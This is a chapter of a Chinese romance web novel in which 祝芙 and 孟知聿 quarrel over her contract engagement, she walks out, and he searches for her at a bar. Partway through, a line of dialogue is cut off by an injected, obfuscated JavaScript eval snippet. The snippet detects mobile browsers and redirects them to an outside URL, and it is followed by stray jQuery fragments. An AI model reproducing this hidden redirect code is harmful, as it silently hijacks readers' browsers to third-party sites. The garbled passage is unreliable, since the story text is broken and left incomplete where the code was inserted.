59. 吵架

作品:《泡芙陷阱

    没有人说话,屋内很安静,响起了短暂朦胧的乐调,祝芙没听清,径直踱步到岛台,给自己倒了一杯温水,仰头饮尽,笑着问:“怎么不说话?”


    孟知聿背靠沙发背,整个人陷在了沙发里,双手抱着肩臂,脸上没什么表情,抿着唇,目光却紧紧地看着她,像是在看一个陌生的人,眼神复杂,带着探究。


    “怎么这么看我?”


    他还是一言不发,垂下了眼移开了视线。


    祝芙觑了一眼,把水杯放在岛台上,慢悠悠地一边走向他,一边脱去羽绒外套,随手扔在了沙发的扶手上。沙哑的歌声适时响起,萦绕在彼此的沉默之间,她愣了一下,循着声音望过去,摆着茶几上的手机屏幕不停闪烁,应该是他刚才在看,手机旁边还搁着一条腕表,好像是他平日里最宝贝的一条。


    宝贝到什么程度呢?


    每日洗漱前,他都会小心翼翼地摘下手表,然后郑重其事地收纳进抽屉里的表盒里,第二天又从表盒里拿出来,戴上。祝芙曾经调侃这手表比她还要重要一些,孟知聿也只是笑笑不搭话。


    如今表盘贴着大理石岩板,就这么随意搁在了茶几上。


    祝芙没有过多的在意,快速地眨了眨眼,若无其事摁下暂停键,侧身坐在他的腿上,自然而然环住了他的脖颈,亲昵地把前额贴了过去,“你看到了?”


    “看到什么?看到你和他甜蜜的约会?”


    孟知聿斜睨了一眼,喉结滚了一圈,终于开口,声音沙哑,带着一些意味不明的嘲讽。祝芙已经习惯了他时不时吃醋的小脾气,轻笑了一声,用鼻尖逗弄着他鼻梁上的黑痣。


    “我和他分手了。”


    他忽然把脸侧了过去,闷声不悦地说:“耍我好玩吗?”


    她微怔,小半晌才反应过来,抬起头,只能看到他绷紧的下颌和抿平的嘴角,疑惑地问:“什么?”


    喉间溢出一声轻嘲,他转过头来,一错不错地看着她,“看我像狗一样摇尾乞怜地求和,践踏自己的自尊心,很好玩是吗?”


    虽然之前也说过他像小狗,可那是只调情而已,祝芙莫名其妙地望了过去,定睛瞧了好一会,终于确认了他在生气。


    有什么好生气的呢?他不是早就知道了陆砚深的存在吗?


    摸不透他生气的原因,心底瞬间涌起烦躁,祝芙扭动着挣开了他的手,起身坐在一边,漫不经心地问:“你发什么疯?”


    “我发疯?我是疯了才当你的小三,结果呢?”他勾唇轻笑,站在她的面前弯下腰,恰捏着她的下颌,“结果你和他只是合约情侣,早就没有了实质关系,这样你都不愿意给我一个正式的身份,把我耍得团团转,祝芙,你说我能不疯吗?”


    他的眸色很深,黑压压地望不到尽头,恍惚间时间似乎退回到了订婚宴那日,他也是这样,高高在上地追问她。


    她蹙了蹙眉,挥开他的手,扬起下巴,“我还以为你会很开心。”


    “开心什么?开心你给我设了陷阱,还是开心我和一个傻子一样往下跳?”


    “很奇怪吗?”她歪着头,双手抱胸,小腿勾得一晃一晃的,“我早就和你说过,接受不了就滚蛋,情人的身份是你自己心甘情愿领下的,做/爱的时候也没见你有负担,现在又来追究我的责任,有必要吗?”


    轻描淡写的话像是火上浇油一般,孟知聿气得直点头,站直了身体,眼神下睨,“是,可他明明就不是你的男朋友,甚至你口中的未婚夫也早就没了关系,你为什么要骗我?为什么不给我一个肯定的答案?为什么这么长的时间都不告诉我?”


    “为什么?”祝芙嗤笑一声,站起身直直地看着他,手指用力点着他的胸膛,“我告诉你为什么,因为你认错了我和祝蕖,我很不满,这个答案你满意了吗?”


    孟知聿顿时哑口无言,说来说去,归根结底,错误还在他。


    可他先前并不知道她还有一个双胞胎姐姐啊……


    他张了张嘴,没有反驳,舔着唇低下了头。


    “如果不是我喜欢你,你觉得你还有资格和我玩这个情人游戏?”她瞥了一眼,揪住他的衣领用力下拉,“如果不是我喜欢你,我大可以和陆砚深交往,如果不是我喜欢你,你以为你在认错我和祝蕖之后还能见到我?”


    “如果不是我喜欢你,你能有多么不可或缺?”


    分明是暧昧的距离,只要他低一点头就能吻住她的唇,就和以前一样,可周遭没有一丝的缠绵,称不上剑拔弩张,但气氛着实僵持住了。


    她又笑了一下,松开他的衣领,自己也一下卸了力,跌坐在沙发上,冷着声说:“告诉你了又能怎么样?我和你的关系,决定权从来都在我的手上。”


    祝芙向来吃软不吃硬,也最擅长把竖在身前的刺扎向最亲密的人,紧攥着拳的掌心,指甲掐出了一道道尖锐的疼痛,她快速地向上瞥了一眼,“我想和你交往,你就是我的男朋友,我不想和你交往,你就是……”


    他低着头站在她的面前,双手无力垂在身侧,影子躬了身,浮在她的脚下。


    ……是狗。


    伤人的话噎在了喉间,她张开嘴,却发现自己说不出口,于是扭过头去,不再看他。


    影子小幅度的动了一下,变成了一团黑影,匍匐在她的脚边。孟知聿蹲在她的身前,没有说话,也很长时间没了动作。


    他也知道自己很奇怪,正如她所说,自己应该开心不是吗?开心他并不是可耻的小三,开心她一心一意选择了自己,至于那些什么情人、小三的,当做情趣不就行了,何必去较这个真呢?


    是因为不甘心吗?是因为男人可笑的自尊心吗?还是因为太过患得患失所以迫切地想要一个肯定的答案呢?


    他清楚地知道,答案是都有。


    “你走吧。”祝芙淡淡地说。


    孟知聿浑身一僵,嘴唇翕动,仰头看了她一眼,最后什么都没有再说,费劲地站起身,拖着步子向外走。


    “等一下。”


    他僵硬地转过身,又是惧怕,又是企盼,嘴角半挂着笑,比哭还要难看一些。


    祝芙避开了他的视线,拿起沙发扶手上的羽绒衣,经过他的身边,不冷不热地说:“这是你家,我走。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602705|183812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    她走得不快,每一步都像是在等他叫住她求和,可是直到走到玄关,身后也没有动静,脚步声、人声什么都没有,只有沉重的呼吸声时不时响起证明他还在那里。祝芙忍住不回头,轻轻地叹了一口气,按下把手,推门走了出去。


    很冷,也很黑。


    小区里的香樟树长得太好了,郁郁葱葱的树叶把路灯髹成黯淡的绿色,既照不亮前方的路,也照不明她的心。


    真没用。祝芙心想。


    不知道是在唾弃路灯,还是她自己。


    她没往家里走,跨上机车驶出了小区。


    孟知聿终于反应过来,追出门的时候,只有耳边还残留着一尾渐轻的引擎声,而她的身影早就消失在了黑夜里,就像是她轰轰烈烈地闯进了他的生活,在他的心尖还漾着涟漪时,又痛快地离开。


    没心没肺,无坚可摧,捉摸不透,也挽留不了……


    心里涌起一阵怅惘,须臾又被悸动砸散,孟知聿提步跑了起来,几步又折返跑回家里,把芥末抱上车,开车追了出去。


    去他的挽留不了,她连着说了四次喜欢他!


    去他的自尊心和不甘心。


    他只知道,自己在听到她说出“你走吧”之后,脑海里瞬间响起一声嗡鸣,然后一片空白,寂寥的没有了生机,心底像是无底洞,无尽的失落、沮丧、懊恼、悲痛一下子垒了起来,沉甸甸的,压得他喘不过气。


    他没有任何办法,过没有她的生活。


    就算是她不满的惩罚又如何呢?只有他才可以“享有”这个惩罚,这就够了。


    一切思绪尘埃落定。


    孟知聿拨出她的手机号,对面一直没接,再打过去就提示已经关机了,把手机扔在一边,他踩下油门,直奔隐鸩。


    酒吧里依旧热闹得沸腾,热气酝着酒精的味道,糅杂在一起扑面而来,他面不改色地压了压耳屏,一路拨开人群寻找她的身影,没找到,又熟门熟路地登上二楼,径直走到底,拧下门把手,休息室的门锁着,贴近地面的门缝里没有光,不知道究竟是熄了灯还是没人,他敲了敲门,低声道:“祝芙,在吗?”


    冷风叩响房门,无人应答。


    他重新折回一楼,吵嚷的演奏声已经停了,人没少,但零星散开了一些,看着宽敞透气了许多。


    架子鼓手关倧接住了抛上天空又垂直降落的鼓槌,重重地敲了鼓面一下,然后把鼓槌架好,跳下舞台,看到他停下了脚步,挥手道:“帅哥好巧,怎么一个人来?”


    孟知聿抿了抿唇,“祝芙来过吗?”


    “没,忙着管理公司,哪还有时间来这里,”他耸起肩膀,语气有些埋怨,须臾又勾起嘴角打量起他来,“吵架了?”


    孟知聿尴尬地笑了一下,礼貌点头道别,匆匆走出了酒吧。


    他该去哪里找她?


    “芥末,你知道你妈妈去哪里了吗?”他摸了摸芥末探出窗吹风的脑袋,身形倏地一顿,刹那间如梦清醒,轻轻地拍了拍它的头,“坐好。”


    “汪呜。”


    “我们去找妈妈。”